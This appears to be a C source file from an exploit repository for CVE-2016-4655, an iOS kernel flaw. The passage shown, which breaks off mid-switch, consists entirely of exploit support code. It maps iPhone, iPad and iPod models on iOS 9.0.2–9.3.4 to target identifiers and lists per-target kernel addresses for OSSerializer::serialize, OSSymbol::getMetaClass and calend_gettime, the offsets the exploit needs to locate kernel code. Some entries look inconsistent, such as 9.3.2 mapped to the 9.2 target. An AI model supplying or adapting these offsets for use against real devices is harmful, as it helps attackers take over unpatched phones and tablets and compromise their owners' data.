Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/offsets32.c
Views: 11780
1#define determineTarget(modelIdentifier, swVers, target) if (!string_compare(device_model, modelIdentifier)) { if (!string_compare(system_version, swVers)) { return target; }}23typedef enum {4NotSupported,5iPhone41_iOS902,6iPhone41_iOS910,7iPhone41_iOS920,8iPhone41_iOS921,9iPhone41_iOS930,10iPhone41_iOS931,11iPhone41_iOS932,12iPhone41_iOS933,13iPhone41_iOS934,14iPhone51_iOS910,15iPhone51_iOS920,16iPhone51_iOS921,17iPhone51_iOS930,18iPhone51_iOS931,19iPhone51_iOS932,20iPhone51_iOS933,21iPhone51_iOS934,22iPhone52_iOS902,23iPhone52_iOS910,24iPhone52_iOS920,25iPhone52_iOS921,26iPhone52_iOS930,27iPhone52_iOS931,28iPhone52_iOS932,29iPhone52_iOS933,30iPhone52_iOS934,31iPhone53_iOS910,32iPhone53_iOS920,33iPhone53_iOS921,34iPhone53_iOS930,35iPhone53_iOS931,36iPhone53_iOS932,37iPhone53_iOS933,38iPhone53_iOS934,39iPhone54_iOS910,40iPhone54_iOS920,41iPhone54_iOS921,42iPhone54_iOS930,43iPhone54_iOS931,44iPhone54_iOS932,45iPhone54_iOS933,46iPhone54_iOS934,47iPad21_iOS910,48iPad21_iOS920,49iPad21_iOS921,50iPad21_iOS930,51iPad21_iOS931,52iPad21_iOS932,53iPad21_iOS933,54iPad21_iOS934,55iPad22_iOS910,56iPad22_iOS920,57iPad22_iOS921,58iPad22_iOS930,59iPad22_iOS931,60iPad22_iOS932,61iPad22_iOS933,62iPad22_iOS934,63iPad23_iOS910,64iPad23_iOS920,65iPad23_iOS921,66iPad23_iOS930,67iPad23_iOS931,68iPad23_iOS932,69iPad23_iOS933,70iPad23_iOS934,71iPad24_iOS910,72iPad24_iOS920,73iPad24_iOS921,74iPad24_iOS930,75iPad24_iOS931,76iPad24_iOS932,77iPad24_iOS933,78iPad24_iOS934,79iPad25_iOS902,80iPad25_iOS910,81iPad25_iOS920,82iPad25_iOS921,83iPad25_iOS930,84iPad25_iOS931,85iPad25_iOS932,86iPad25_iOS933,87iPad25_iOS934,88iPad26_iOS910,89iPad26_iOS920,90iPad26_iOS921,91iPad26_iOS930,92iPad26_iOS931,93iPad26_iOS932,94iPad26_iOS933,95iPad26_iOS934,96iPad27_iOS910,97iPad27_iOS920,98iPad27_iOS921,99iPad27_iOS930,100iPad27_iOS931,101iPad27_iOS932,102iPad27_iOS933,103iPad27_iOS934,104iPad31_iOS910,105iPad31_iOS920,106iPad31_iOS921,107iPad31_iOS930,108iPad31_iOS931,109iPad31_iOS932,110iPad31_iOS933,111iPad31_iOS934,112iPad32_iOS910,113iPad32_iOS920,114iPad32_iOS921,115iPad32_iOS930,116iPad32_iOS931,117iPad32_iOS932,118iPad32_iOS933,119iPad32_iOS934,120iPad33_iOS902,121iPad33_iOS910,122iPad33_iOS920,123iPad33_iOS921,124iPad33_iOS930,125iPad33_iOS931,126iPad33_iOS932,127iPad33_iOS933,128iPad33_iOS934,129iPad34_iOS910,130iPad34_iOS920,131iPad34_iOS921,132iPad34_iOS930,133iPad34_iOS931,134iPad34_iOS932,135iPad34_iOS933,136iPad34_iOS934,137iPad35_iOS910,138iPad35_iOS920,139iPad35_iOS921,140iPad35_iOS930,141iPad35_iOS931,142iPad35_iOS932,143iPad35_iOS933,144iPad35_iOS934,145iPad36_iOS910,146iPad36_iOS920,147iPad36_iOS921,148iPad36_iOS930,149iPad36_iOS931,150iPad36_iOS932,151iPad36_iOS933,152iPad36_iOS934,153iPod51_iOS910,154iPod51_iOS920,155iPod51_iOS921,156iPod51_iOS930,157iPod51_iOS931,158iPod51_iOS932,159iPod51_iOS933,160iPod51_iOS934161} t_target_environment;162163static t_target_environment target_environment;164165t_target_environment info_to_target_environment(const char *device_model, const char *system_version) {166determineTarget("iPhone4,1", "9.0.2", iPhone41_iOS902);167determineTarget("iPhone4,1", "9.1", iPhone41_iOS910);168determineTarget("iPhone4,1", "9.2", iPhone41_iOS920);169determineTarget("iPhone4,1", "9.2.1", iPhone41_iOS921);170determineTarget("iPhone4,1", "9.3", iPhone41_iOS930);171determineTarget("iPhone4,1", "9.3.1", iPhone41_iOS931);172determineTarget("iPhone4,1", "9.3.2", iPhone41_iOS932);173determineTarget("iPhone4,1", "9.3.3", iPhone41_iOS933);174determineTarget("iPhone4,1", "9.3.4", iPhone41_iOS934);175determineTarget("iPhone5,1", "9.1", iPhone51_iOS910);176determineTarget("iPhone5,1", "9.2", iPhone51_iOS920);177determineTarget("iPhone5,1", "9.2.1", iPhone51_iOS921);178determineTarget("iPhone5,1", "9.3", iPhone51_iOS930);179determineTarget("iPhone5,1", "9.3.1", iPhone51_iOS931);180determineTarget("iPhone5,1", "9.3.2", iPhone51_iOS932);181determineTarget("iPhone5,1", "9.3.3", iPhone51_iOS933);182determineTarget("iPhone5,1", "9.3.4", iPhone51_iOS934);183determineTarget("iPhone5,2", "9.0.2", iPhone52_iOS902);184determineTarget("iPhone5,2", "9.1", iPhone52_iOS910);185determineTarget("iPhone5,2", "9.2", iPhone52_iOS920);186determineTarget("iPhone5,2", "9.2.1", iPhone52_iOS921);187determineTarget("iPhone5,2", "9.3", iPhone52_iOS930);188determineTarget("iPhone5,2", "9.3.1", iPhone52_iOS931);189determineTarget("iPhone5,2", "9.3.2", iPhone52_iOS932);190determineTarget("iPhone5,2", "9.3.3", iPhone52_iOS933);191determineTarget("iPhone5,2", "9.3.4", iPhone52_iOS934);192determineTarget("iPhone5,3", "9.1", iPhone53_iOS910);193determineTarget("iPhone5,3", "9.2", iPhone53_iOS920);194determineTarget("iPhone5,3", "9.2.1", iPhone53_iOS921);195determineTarget("iPhone5,3", "9.3", iPhone53_iOS930);196determineTarget("iPhone5,3", "9.3.1", iPhone53_iOS931);197determineTarget("iPhone5,3", "9.3.2", iPhone53_iOS932);198determineTarget("iPhone5,3", "9.3.3", iPhone53_iOS933);199determineTarget("iPhone5,3", "9.3.4", iPhone53_iOS934);200determineTarget("iPhone5,4", "9.1", iPhone54_iOS910);201determineTarget("iPhone5,4", "9.2", iPhone54_iOS920);202determineTarget("iPhone5,4", "9.2.1", iPhone54_iOS921);203determineTarget("iPhone5,4", "9.3", iPhone54_iOS930);204determineTarget("iPhone5,4", "9.3.1", iPhone54_iOS931);205determineTarget("iPhone5,4", "9.3.2", iPhone54_iOS932);206determineTarget("iPhone5,4", "9.3.3", iPhone54_iOS933);207determineTarget("iPhone5,4", "9.3.4", iPhone54_iOS934);208determineTarget("iPad2,1", "9.1", iPad21_iOS910);209determineTarget("iPad2,1", "9.2", iPad21_iOS920);210determineTarget("iPad2,1", "9.2.1", iPad21_iOS921);211determineTarget("iPad2,1", "9.3", iPad21_iOS930);212determineTarget("iPad2,1", "9.3.1", iPad21_iOS931);213determineTarget("iPad2,1", "9.3.2", iPad21_iOS932);214determineTarget("iPad2,1", "9.3.3", iPad21_iOS933);215determineTarget("iPad2,1", "9.3.4", iPad21_iOS934);216determineTarget("iPad2,2", "9.1", iPad22_iOS910);217determineTarget("iPad2,2", "9.2", iPad22_iOS920);218determineTarget("iPad2,2", "9.2.1", iPad22_iOS921);219determineTarget("iPad2,2", "9.3", iPad22_iOS930);220determineTarget("iPad2,2", "9.3.1", iPad22_iOS931);221determineTarget("iPad2,2", "9.3.2", iPad22_iOS932);222determineTarget("iPad2,2", "9.3.3", iPad22_iOS933);223determineTarget("iPad2,2", "9.3.4", iPad22_iOS934);224determineTarget("iPad2,3", "9.1", iPad23_iOS910);225determineTarget("iPad2,3", "9.2", iPad23_iOS920);226determineTarget("iPad2,3", "9.2.1", iPad23_iOS921);227determineTarget("iPad2,3", "9.3.0", iPad23_iOS930);228determineTarget("iPad2,3", "9.3.1", iPad23_iOS931);229determineTarget("iPad2,3", "9.3.2", iPad23_iOS920);230determineTarget("iPad2,3", "9.3.3", iPad23_iOS933);231determineTarget("iPad2,3", "9.3.4", iPad23_iOS934);232determineTarget("iPad2,4", "9.1", iPad24_iOS910);233determineTarget("iPad2,4", "9.2", iPad24_iOS920);234determineTarget("iPad2,4", "9.2.1", iPad24_iOS921);235determineTarget("iPad2,4", "9.3.0", iPad24_iOS930);236determineTarget("iPad2,4", "9.3.1", iPad24_iOS931);237determineTarget("iPad2,4", "9.3.2", iPad24_iOS920);238determineTarget("iPad2,4", "9.3.3", iPad24_iOS933);239determineTarget("iPad2,4", "9.3.4", iPad24_iOS934);240determineTarget("iPad2,5", "9.0.2", iPad25_iOS902);241determineTarget("iPad2,5", "9.1", iPad25_iOS910);242determineTarget("iPad2,5", "9.2", iPad25_iOS920);243determineTarget("iPad2,5", "9.2.1", iPad25_iOS921);244determineTarget("iPad2,5", "9.3", iPad25_iOS930);245determineTarget("iPad2,5", "9.3.1", iPad25_iOS931);246determineTarget("iPad2,5", "9.3.2", iPad25_iOS932);247determineTarget("iPad2,5", "9.3.3", iPad25_iOS933);248determineTarget("iPad2,5", "9.3.4", iPad25_iOS934);249determineTarget("iPad2,6", "9.1", iPad26_iOS910);250determineTarget("iPad2,6", "9.2", iPad26_iOS920);251determineTarget("iPad2,6", "9.2.1", iPad26_iOS921);252determineTarget("iPad2,6", "9.3", iPad26_iOS930);253determineTarget("iPad2,6", "9.3.1", iPad26_iOS931);254determineTarget("iPad2,6", "9.3.2", iPad26_iOS932);255determineTarget("iPad2,6", "9.3.3", iPad26_iOS933);256determineTarget("iPad2,6", "9.3.4", iPad26_iOS934);257determineTarget("iPad2,7", "9.1", iPad27_iOS910);258determineTarget("iPad2,7", "9.2", iPad27_iOS920);259determineTarget("iPad2,7", "9.2.1", iPad27_iOS921);260determineTarget("iPad2,7", "9.3", iPad27_iOS930);261determineTarget("iPad2,7", "9.3.1", iPad27_iOS931);262determineTarget("iPad2,7", "9.3.2", iPad27_iOS932);263determineTarget("iPad2,7", "9.3.3", iPad27_iOS933);264determineTarget("iPad2,7", "9.3.4", iPad27_iOS934);265determineTarget("iPad3,1", "9.1", iPad31_iOS910);266determineTarget("iPad3,1", "9.2", iPad31_iOS920);267determineTarget("iPad3,1", "9.2.1", iPad31_iOS921);268determineTarget("iPad3,1", "9.3.0", iPad31_iOS930);269determineTarget("iPad3,1", "9.3.1", iPad31_iOS931);270determineTarget("iPad3,1", "9.3.2", iPad31_iOS932);271determineTarget("iPad3,1", "9.3.3", iPad31_iOS933);272determineTarget("iPad3,1", "9.3.4", iPad31_iOS934);273determineTarget("iPad3,2", "9.1", iPad32_iOS910);274determineTarget("iPad3,2", "9.2", iPad32_iOS920);275determineTarget("iPad3,2", "9.2.1", iPad32_iOS921);276determineTarget("iPad3,2", "9.3.0", iPad32_iOS930);277determineTarget("iPad3,2", "9.3.1", iPad32_iOS931);278determineTarget("iPad3,2", "9.3.2", iPad32_iOS932);279determineTarget("iPad3,2", "9.3.3", iPad32_iOS933);280determineTarget("iPad3,2", "9.3.4", iPad32_iOS934);281determineTarget("iPad3,3", "9.0.2", iPad33_iOS902);282determineTarget("iPad3,3", "9.1", iPad33_iOS910);283determineTarget("iPad3,3", "9.2", iPad33_iOS920);284determineTarget("iPad3,3", "9.2.1", iPad33_iOS921);285determineTarget("iPad3,3", "9.3", iPad33_iOS930);286determineTarget("iPad3,3", "9.3.1", iPad33_iOS931);287determineTarget("iPad3,3", "9.3.2", iPad33_iOS932);288determineTarget("iPad3,3", "9.3.3", iPad33_iOS933);289determineTarget("iPad3,3", "9.3.4", iPad33_iOS934);290determineTarget("iPad3,4", "9.1", iPad34_iOS910);291determineTarget("iPad3,4", "9.2", iPad34_iOS920);292determineTarget("iPad3,4", "9.2.1", iPad34_iOS921);293determineTarget("iPad3,4", "9.3", iPad34_iOS930);294determineTarget("iPad3,4", "9.3.1", iPad34_iOS931);295determineTarget("iPad3,4", "9.3.2", iPad34_iOS932);296determineTarget("iPad3,4", "9.3.3", iPad34_iOS933);297determineTarget("iPad3,4", "9.3.4", iPad34_iOS934);298determineTarget("iPad3,5", "9.1", iPad35_iOS910);299determineTarget("iPad3,5", "9.2", iPad35_iOS920);300determineTarget("iPad3,5", "9.2.1", iPad35_iOS921);301determineTarget("iPad3,5", "9.3", iPad35_iOS930);302determineTarget("iPad3,5", "9.3.1", iPad35_iOS931);303determineTarget("iPad3,5", "9.3.2", iPad35_iOS932);304determineTarget("iPad3,5", "9.3.3", iPad35_iOS933);305determineTarget("iPad3,5", "9.3.4", iPad35_iOS934);306determineTarget("iPad3,6", "9.1", iPad36_iOS910);307determineTarget("iPad3,6", "9.2", iPad36_iOS920);308determineTarget("iPad3,6", "9.2.1", iPad36_iOS921);309determineTarget("iPad3,6", "9.3", iPad36_iOS930);310determineTarget("iPad3,6", "9.3.1", iPad36_iOS931);311determineTarget("iPad3,6", "9.3.2", iPad36_iOS932);312determineTarget("iPad3,6", "9.3.3", iPad36_iOS933);313determineTarget("iPad3,6", "9.3.4", iPad36_iOS934);314determineTarget("iPod5,1", "9.1", iPod51_iOS910);315determineTarget("iPod5,1", "9.2", iPod51_iOS920);316determineTarget("iPod5,1", "9.2.1", iPod51_iOS921);317determineTarget("iPod5,1", "9.3", iPod51_iOS930);318determineTarget("iPod5,1", "9.3.1", iPod51_iOS931);319determineTarget("iPod5,1", "9.3.2", iPod51_iOS932);320determineTarget("iPod5,1", "9.3.3", iPod51_iOS933);321determineTarget("iPod5,1", "9.3.4", iPod51_iOS934);322return 0;323}324325static inline unsigned int find_OSSerializer_serialize(void) {326switch (target_environment) {327case iPhone41_iOS902: return 0x317de4;328case iPhone41_iOS910: return 0x319450;329case iPhone41_iOS920: return 0x3106fc;330case iPhone41_iOS921: return 0x3107fc;331case iPhone41_iOS930: return 0x31812c;332case iPhone41_iOS931: return 0x31812c;333case iPhone41_iOS932: return 0x318264;334case iPhone41_iOS933: return 0x318388;335case iPhone41_iOS934: return 0x318388;336case iPhone51_iOS910: return 0x31fd1c;337case iPhone51_iOS920: return 0x317768;338case iPhone51_iOS921: return 0x317868;339case iPhone51_iOS930: return 0x31ef50;340case iPhone51_iOS931: return 0x31ef50;341case iPhone51_iOS932: return 0x302e3c;342case iPhone51_iOS933: return 0x31f13c;343case iPhone51_iOS934: return 0x31f13c;344case iPhone52_iOS902: return 0x31e7bc;345case iPhone52_iOS910: return 0x31fd1c;346case iPhone52_iOS920: return 0x317768;347case iPhone52_iOS921: return 0x317868;348case iPhone52_iOS930: return 0x31ef50;349case iPhone52_iOS931: return 0x31ef50;350case iPhone52_iOS932: return 0x31ef58;351case iPhone52_iOS933: return 0x31f13c;352case iPhone52_iOS934: return 0x31f13c;353case iPhone53_iOS910: return 0x31fd1c;354case iPhone53_iOS920: return 0x317768;355case iPhone53_iOS921: return 0x317868;356case iPhone53_iOS930: return 0x31ef50;357case iPhone53_iOS931: return 0x31ef50;358case iPhone53_iOS932: return 0x31ef58;359case iPhone53_iOS933: return 0x31f13c;360case iPhone53_iOS934: return 0x31f13c;361case iPhone54_iOS910: return 0x31fd1c;362case iPhone54_iOS920: return 0x317768;363case iPhone54_iOS921: return 0x317868;364case iPhone54_iOS930: return 0x31ef50;365case iPhone54_iOS931: return 0x31ef50;366case iPhone54_iOS932: return 0x31ed7c;367case iPhone54_iOS933: return 0x31f13c;368case iPhone54_iOS934: return 0x31f13c;369case iPad21_iOS910: return 0x319450;370case iPad21_iOS920: return 0x3106fc;371case iPad21_iOS921: return 0x3107fc;372case iPad21_iOS930: return 0x31812c;373case iPad21_iOS931: return 0x31812c;374case iPad21_iOS932: return 0x318264;375case iPad21_iOS933: return 0x318388;376case iPad21_iOS934: return 0x318388;377case iPad22_iOS910: return 0x319450;378case iPad22_iOS920: return 0x3106fc;379case iPad22_iOS921: return 0x3107fc;380case iPad22_iOS930: return 0x31812c;381case iPad22_iOS931: return 0x31812c;382case iPad22_iOS932: return 0x318264;383case iPad22_iOS933: return 0x318388;384case iPad22_iOS934: return 0x318388;385case iPad23_iOS910: return 0x319450;386case iPad23_iOS920: return 0x3106fc;387case iPad23_iOS921: return 0x3107fc;388case iPad23_iOS930: return 0x31812c;389case iPad23_iOS931: return 0x31812c;390case iPad23_iOS932: return 0x318264;391case iPad23_iOS933: return 0x318388;392case iPad23_iOS934: return 0x318388;393case iPad24_iOS910: return 0x319450;394case iPad24_iOS920: return 0x3106fc;395case iPad24_iOS921: return 0x3107fc;396case iPad24_iOS930: return 0x31812c;397case iPad24_iOS931: return 0x31812c;398case iPad24_iOS932: return 0x318264;399case iPad24_iOS933: return 0x318388;400case iPad24_iOS934: return 0x318388;401case iPad25_iOS902: return 0x317de4;402case iPad31_iOS910: return 0x319450;403case iPad31_iOS920: return 0x3106fc;404case iPad31_iOS921: return 0x3107fc;405case iPad31_iOS930: return 0x31812c;406case iPad31_iOS931: return 0x31812c;407case iPad31_iOS932: return 0x318264;408case iPad31_iOS933: return 0x318388;409case iPad31_iOS934: return 0x318388;410case iPad32_iOS910: return 0x319450;411case iPad32_iOS920: return 0x3106fc;412case iPad32_iOS921: return 0x3107fc;413case iPad32_iOS930: return 0x31812c;414case iPad32_iOS931: return 0x31812c;415case iPad32_iOS932: return 0x318264;416case iPad32_iOS933: return 0x318388;417case iPad32_iOS934: return 0x318388;418case iPad33_iOS902: return 0x317de4;419case iPad33_iOS910: return 0x319450;420case iPad33_iOS920: return 0x3106fc;421case iPad33_iOS921: return 0x3107fc;422case iPad33_iOS930: return 0x31812c;423case iPad33_iOS931: return 0x31812c;424case iPad33_iOS932: return 0x318264;425case iPad33_iOS933: return 0x318388;426case iPad33_iOS934: return 0x318388;427case iPad34_iOS910: return 0x31fd1c;428case iPad34_iOS920: return 0x317768;429case iPad34_iOS921: return 0x317868;430case iPad34_iOS930: return 0x31ef50;431case iPad34_iOS931: return 0x31ef50;432case iPad34_iOS932: return 0x31ef58;433case iPad34_iOS933: return 0x31f13c;434case iPad34_iOS934: return 0x31f13c;435case iPad35_iOS910: return 0x31fd1c;436case iPad35_iOS920: return 0x317768;437case iPad35_iOS921: return 0x317868;438case iPad35_iOS930: return 0x31ef50;439case iPad35_iOS931: return 0x31ef50;440case iPad35_iOS932: return 0x31ef58;441case iPad35_iOS933: return 0x31f13c;442case iPad35_iOS934: return 0x31f13c;443case iPad36_iOS910: return 0x31fd1c;444case iPad36_iOS920: return 0x317768;445case iPad36_iOS921: return 0x317868;446case iPad36_iOS930: return 0x31ef50;447case iPad36_iOS931: return 0x31ef50;448case iPad36_iOS932: return 0x31ef58;449case iPad36_iOS933: return 0x31f13c;450case iPad36_iOS934: return 0x31f13c;451case iPod51_iOS910: return 0x319450;452case iPod51_iOS920: return 0x3106fc;453case iPod51_iOS921: return 0x3107fc;454case iPod51_iOS930: return 0x31812c;455case iPod51_iOS931: return 0x31812c;456case iPod51_iOS932: return 0x318264;457case iPod51_iOS933: return 0x318388;458case iPod51_iOS934: return 0x318388;459default: return 0;460}461}462463static inline unsigned int find_OSSymbol_getMetaClass(void) {464switch (target_environment) {465case iPhone41_iOS902: return 0x31a5d0;466case iPhone41_iOS910: return 0x31bc3c;467case iPhone41_iOS920: return 0x312e18;468case iPhone41_iOS921: return 0x312f18;469case iPhone41_iOS930: return 0x31a934;470case iPhone41_iOS931: return 0x31a934;471case iPhone41_iOS932: return 0x31aa6c;472case iPhone41_iOS933: return 0x31ab90;473case iPhone41_iOS934: return 0x31ab90;474case iPhone51_iOS910: return 0x322460;475case iPhone51_iOS920: return 0x319ea0;476case iPhone51_iOS921: return 0x319fa0;477case iPhone51_iOS930: return 0x321810;478case iPhone51_iOS931: return 0x321810;479case iPhone51_iOS932: return 0x321818;480case iPhone51_iOS933: return 0x3219fc;481case iPhone51_iOS934: return 0x3219fc;482case iPhone52_iOS902: return 0x320f00;483case iPhone52_iOS910: return 0x322460;484case iPhone52_iOS920: return 0x319ea0;485case iPhone52_iOS921: return 0x319fa0;486case iPhone52_iOS930: return 0x321810;487case iPhone52_iOS931: return 0x321810;488case iPhone52_iOS932: return 0x321818;489case iPhone52_iOS933: return 0x3219fc;490case iPhone52_iOS934: return 0x3219fc;491case iPhone53_iOS910: return 0x322460;492case iPhone53_iOS920: return 0x319ea0;493case iPhone53_iOS921: return 0x319fa0;494case iPhone53_iOS930: return 0x321810;495case iPhone53_iOS931: return 0x321810;496case iPhone53_iOS932: return 0x321818;497case iPhone53_iOS933: return 0x3219fc;498case iPhone53_iOS934: return 0x3219fc;499case iPhone54_iOS910: return 0x322460;500case iPhone54_iOS920: return 0x319ea0;501case iPhone54_iOS921: return 0x319fa0;502case iPhone54_iOS930: return 0x321810;503case iPhone54_iOS931: return 0x321810;504case iPhone54_iOS932: return 0x321818;505case iPhone54_iOS933: return 0x3219fc;506case iPhone54_iOS934: return 0x3219fc;507case iPad21_iOS910: return 0x31bc3c;508case iPad21_iOS920: return 0x312e18;509case iPad21_iOS921: return 0x312f18;510case iPad21_iOS930: return 0x31a934;511case iPad21_iOS931: return 0x31a934;512case iPad21_iOS932: return 0x31aa6c;513case iPad21_iOS933: return 0x31ab90;514case iPad21_iOS934: return 0x31ab90;515case iPad22_iOS910: return 0x31bc3c;516case iPad22_iOS920: return 0x312e18;517case iPad22_iOS921: return 0x312f18;518case iPad22_iOS930: return 0x31a934;519case iPad22_iOS931: return 0x31a934;520case iPad22_iOS932: return 0x31aa6c;521case iPad22_iOS933: return 0x31ab90;522case iPad22_iOS934: return 0x31ab90;523case iPad23_iOS910: return 0x31bc3c;524case iPad23_iOS920: return 0x312e18;525case iPad23_iOS921: return 0x312f18;526case iPad23_iOS930: return 0x31a934;527case iPad23_iOS931: return 0x31a934;528case iPad23_iOS932: return 0x31aa6c;529case iPad23_iOS933: return 0x31ab90;530case iPad23_iOS934: return 0x31ab90;531case iPad24_iOS910: return 0x31bc3c;532case iPad24_iOS920: return 0x312e18;533case iPad24_iOS921: return 0x312f18;534case iPad24_iOS930: return 0x31a934;535case iPad24_iOS931: return 0x31a934;536case iPad24_iOS932: return 0x31aa6c;537case iPad24_iOS933: return 0x31ab90;538case iPad24_iOS934: return 0x31ab90;539case iPad25_iOS902: return 0x31a5d0;540case iPad31_iOS910: return 0x31bc3c;541case iPad31_iOS920: return 0x312e18;542case iPad31_iOS921: return 0x312f18;543case iPad31_iOS930: return 0x31a934;544case iPad31_iOS931: return 0x31a934;545case iPad31_iOS932: return 0x31aa6c;546case iPad31_iOS933: return 0x31ab90;547case iPad31_iOS934: return 0x31ab90;548case iPad32_iOS910: return 0x31bc3c;549case iPad32_iOS920: return 0x312e18;550case iPad32_iOS921: return 0x312f18;551case iPad32_iOS930: return 0x31a934;552case iPad32_iOS931: return 0x31a934;553case iPad32_iOS932: return 0x31aa6c;554case iPad32_iOS933: return 0x31ab90;555case iPad32_iOS934: return 0x31ab90;556case iPad33_iOS902: return 0x31a5d0;557case iPad33_iOS910: return 0x31bc3c;558case iPad33_iOS920: return 0x312e18;559case iPad33_iOS921: return 0x312f18;560case iPad33_iOS930: return 0x31a934;561case iPad33_iOS931: return 0x31a934;562case iPad33_iOS932: return 0x31aa6c;563case iPad33_iOS933: return 0x31ab90;564case iPad33_iOS934: return 0x31ab90;565case iPad34_iOS910: return 0x322460;566case iPad34_iOS920: return 0x319ea0;567case iPad34_iOS921: return 0x319fa0;568case iPad34_iOS930: return 0x321810;569case iPad34_iOS931: return 0x321810;570case iPad34_iOS932: return 0x321818;571case iPad34_iOS933: return 0x3219fc;572case iPad34_iOS934: return 0x3219fc;573case iPad35_iOS910: return 0x322460;574case iPad35_iOS920: return 0x319ea0;575case iPad35_iOS921: return 0x319fa0;576case iPad35_iOS930: return 0x321810;577case iPad35_iOS931: return 0x321810;578case iPad35_iOS932: return 0x321818;579case iPad35_iOS933: return 0x3219fc;580case iPad35_iOS934: return 0x3219fc;581case iPad36_iOS910: return 0x322460;582case iPad36_iOS920: return 0x319ea0;583case iPad36_iOS921: return 0x319fa0;584case iPad36_iOS930: return 0x321810;585case iPad36_iOS931: return 0x321810;586case iPad36_iOS932: return 0x321818;587case iPad36_iOS933: return 0x3219fc;588case iPad36_iOS934: return 0x3219fc;589case iPod51_iOS910: return 0x31bc3c;590case iPod51_iOS920: return 0x312e18;591case iPod51_iOS921: return 0x312f18;592case iPod51_iOS930: return 0x31a934;593case iPod51_iOS931: return 0x31a934;594case iPod51_iOS932: return 0x31aa6c;595case iPod51_iOS933: return 0x31ab90;596case iPod51_iOS934: return 0x31ab90;597default: return 0;598}599}600601static inline unsigned int find_calend_gettime(void) {602switch (target_environment) {603case iPhone41_iOS902: return 0x1daec;604case iPhone41_iOS910: return 0x1db34;605case iPhone41_iOS920: return 0x1de84;606case iPhone41_iOS921: return 0x1de60;607case iPhone41_iOS930: return 0x1e170;608case iPhone41_iOS931: return 0x1e170;609case iPhone41_iOS932: return 0x1e170;610case iPhone41_iOS933: return 0x1e200;611case iPhone41_iOS934: return 0x1e200;612case iPhone51_iOS910: return 0x1e76c;613case iPhone51_iOS920: return 0x1ebac;614case iPhone51_iOS921: return 0x1eb88;615case iPhone51_iOS930: return 0x1ee6c;616case iPhone51_iOS931: return 0x1ee6c;617case iPhone51_iOS932: return 0x1ee6c;618case iPhone51_iOS933: return 0x1eeac;619case iPhone51_iOS934: return 0x1eeac;620case iPhone52_iOS902: return 0x1e718;621case iPhone52_iOS910: return 0x1e76c;622case iPhone52_iOS920: return 0x1ebac;623case iPhone52_iOS921: return 0x1eb88;624case iPhone52_iOS930: return 0x1ee6c;625case iPhone52_iOS931: return 0x1ee6c;626case iPhone52_iOS932: return 0x1ee6c;627case iPhone52_iOS933: return 0x1eeac;628case iPhone52_iOS934: return 0x1eeac;629case iPhone53_iOS910: return 0x1e76c;630case iPhone53_iOS920: return 0x1ebac;631case iPhone53_iOS921: return 0x1eb88;632case iPhone53_iOS930: return 0x1ee6c;633case iPhone53_iOS931: return 0x1ee6c;634case iPhone53_iOS932: return 0x1ee6c;635case iPhone53_iOS933: return 0x1eeac;636case iPhone53_iOS934: return 0x1eeac;637case iPhone54_iOS910: return 0x1e76c;638case iPhone54_iOS920: return 0x1ebac;639case iPhone54_iOS921: return 0x1eb88;640case iPhone54_iOS930: return 0x1ee6c;641case iPhone54_iOS931: return 0x1ee6c;642case iPhone54_iOS932: return 0x1ee6c;643case iPhone54_iOS933: return 0x1eeac;644case iPhone54_iOS934: return 0x1eeac;645case iPad21_iOS910: return 0x1db34;646case iPad21_iOS920: return 0x1de84;647case iPad21_iOS921: return 0x1de60;648case iPad21_iOS930: return 0x1e170;649case iPad21_iOS931: return 0x1e170;650case iPad21_iOS932: return 0x1e170;651case iPad21_iOS933: return 0x1e200;652case iPad21_iOS934: return 0x1e200;653case iPad22_iOS910: return 0x1db34;654case iPad22_iOS920: return 0x1de84;655case iPad22_iOS921: return 0x1de60;656case iPad22_iOS930: return 0x1e170;657case iPad22_iOS931: return 0x1e170;658case iPad22_iOS932: return 0x1e170;659case iPad22_iOS933: return 0x1e200;660case iPad22_iOS934: return 0x1e200;661case iPad23_iOS910: return 0x1db34;662case iPad23_iOS920: return 0x1de84;663case iPad23_iOS921: return 0x1de60;664case iPad23_iOS930: return 0x1e170;665case iPad23_iOS931: return 0x1e170;666case iPad23_iOS932: return 0x1e170;667case iPad23_iOS933: return 0x1e200;668case iPad23_iOS934: return 0x1e200;669case iPad24_iOS910: return 0x1db34;670case iPad24_iOS920: return 0x1de84;671case iPad24_iOS921: return 0x1de60;672case iPad24_iOS930: return 0x1e170;673case iPad24_iOS931: return 0x1e170;674case iPad24_iOS932: return 0x1e170;675case iPad24_iOS933: return 0x1e200;676case iPad24_iOS934: return 0x1e200;677case iPad25_iOS902: return 0x1daec;678case iPad31_iOS910: return 0x1db34;679case iPad31_iOS920: return 0x1de84;680case iPad31_iOS921: return 0x1de60;681case iPad31_iOS930: return 0x1e170;682case iPad31_iOS931: return 0x1e170;683case iPad31_iOS932: return 0x1e170;684case iPad31_iOS933: return 0x1e200;685case iPad31_iOS934: return 0x1e200;686case iPad32_iOS910: return 0x1db34;687case iPad32_iOS920: return 0x1de84;688case iPad32_iOS921: return 0x1de60;689case iPad32_iOS930: return 0x1e170;690case iPad32_iOS931: return 0x1e170;691case iPad32_iOS932: return 0x1e170;692case iPad32_iOS933: return 0x1e200;693case iPad32_iOS934: return 0x1e200;694case iPad33_iOS902: return 0x1daec;695case iPad33_iOS910: return 0x1db34;696case iPad33_iOS920: return 0x1de84;697case iPad33_iOS921: return 0x1de60;698case iPad33_iOS930: return 0x1e170;699case iPad33_iOS931: return 0x1e170;700case iPad33_iOS932: return 0x1e170;701case iPad33_iOS933: return 0x1e200;702case iPad33_iOS934: return 0x1e200;703case iPad34_iOS910: return 0x1e76c;704case iPad34_iOS920: return 0x1ebac;705case iPad34_iOS921: return 0x1eb88;706case iPad34_iOS930: return 0x1ee6c;707case iPad34_iOS931: return 0x1ee6c;708case iPad34_iOS932: return 0x1ee6c;709case iPad34_iOS933: return 0x1eeac;710case iPad34_iOS934: return 0x1eeac;711case iPad35_iOS910: return 0x1e76c;712case iPad35_iOS920: return 0x1ebac;713case iPad35_iOS921: return 0x1eb88;714case iPad35_iOS930: return 0x1ee6c;715case iPad35_iOS931: return 0x1ee6c;716case iPad35_iOS932: return 0x1ee6c;717case iPad35_iOS933: return 0x1eeac;718case iPad35_iOS934: return 0x1eeac;719case iPad36_iOS910: return 0x1e76c;720case iPad36_iOS920: return 0x1ebac;721case iPad36_iOS921: return 0x1eb88;722case iPad36_iOS930: return 0x1ee6c;723case iPad36_iOS931: return 0x1ee6c;724case iPad36_iOS932: return 0x1ee6c;725case 